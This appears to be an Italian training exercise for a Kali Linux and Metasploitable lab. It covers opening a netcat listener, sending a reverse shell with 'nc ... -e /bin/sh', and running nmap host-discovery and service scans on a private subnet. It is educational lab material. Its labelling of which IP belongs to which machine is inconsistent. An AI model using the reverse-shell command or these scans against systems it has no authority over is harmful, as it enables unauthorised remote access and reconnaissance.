Netcat

Esercizio di Netcat e Scansione con Nmap

Passaggio 1: Apertura di un Listener con Netcat

Per aprire un listener per le connessioni in entrata con Netcat, utilizziamo il seguente comando:

```
bash
nc -l -p 1234
```

- `-l`: Apre un listener.
- `-p 1234`: Assegna la porta 1234 per ascoltare le connessioni in entrata.

Passaggio 2: Connessione e Esecuzione di una Shell Remota con Netcat

Per connettersi a un indirizzo IP specifico e ottenere una shell remota, utilizziamo il comando:

```
bash
nc 192.168.3.245 1234 -e /bin/sh
```

- `192.168.3.245`: L'indirizzo IP della macchina target.
- `1234`: La porta a cui connettersi.
- `-e /bin/sh`: Esegue una shell che verrà reindirizzata al nostro sistema.

Esercizio di Scansione con Nmap

Ora, utilizziamo Nmap per eseguire una scansione della rete e verificare che la porta 1234 sia aperta e in ascolto.

Passaggio 3: Eseguire una Scansione di Rete con Nmap

Per eseguire una scansione completa delle porte aperte su una rete specifica, utilizziamo il comando:

```
bash
nmap -sP 192.168.3.0/24
```

- `-sP`: Esegue una scansione di ping per identificare gli host attivi sulla rete.
- `192.168.3.0/24`: Specifica l'intervallo di rete da scansionare.

Passaggio 4: Scansione delle Porte Aperte su un Host Specifico

Per identificare le porte aperte su un host specifico, utilizziamo il comando:

```
bash
nmap -sV 192.168.3.245
```

- `-sV`: Esegue una scansione delle porte e tenta di identificare i servizi in esecuzione sulle porte aperte.
- `192.168.3.245`: L'indirizzo IP della macchina target.

Esecuzione dell'Esercizio

1. **Apertura del Listener su Kali Linux:**

   Aprire un terminale sulla tua macchina Kali Linux ed eseguire il comando per aprire un listener:

   ```
   bash
   nc -l -p 1234
   ```

2. **Connessione alla Macchina Target su Metasploitable:**

   Aprire un terminale sulla macchina Metasploitable ed eseguire il comando per connetterti alla macchina Kali Linux e ottenere una shell remota:

   ```
   bash
   nc 192.168.3.245 1234 -e /bin/sh
   ```

3. **Esecuzione della Scansione con Nmap:**

   Su Kali Linux, eseguire una scansione della rete per identificare gli host attivi:

   ```
   bash
   nmap -sP 192.168.3.0/24
   ```

   Eseguire una scansione delle porte aperte sulla macchina target:

   ```
   bash
   nmap -sV 192.168.3.245
   ```

Conclusione

Seguendo questi passaggi, si potrà essere in grado di utilizzare Netcat per aprire un listener e connettersi a una macchina remota, ottenendo una shell per eseguire comandi dal terminale. Inoltre, si avrà eseguito una scansione di rete e delle porte aperte utilizzando Nmap per verificare la configurazione della rete e le porte aperte sui sistemi target.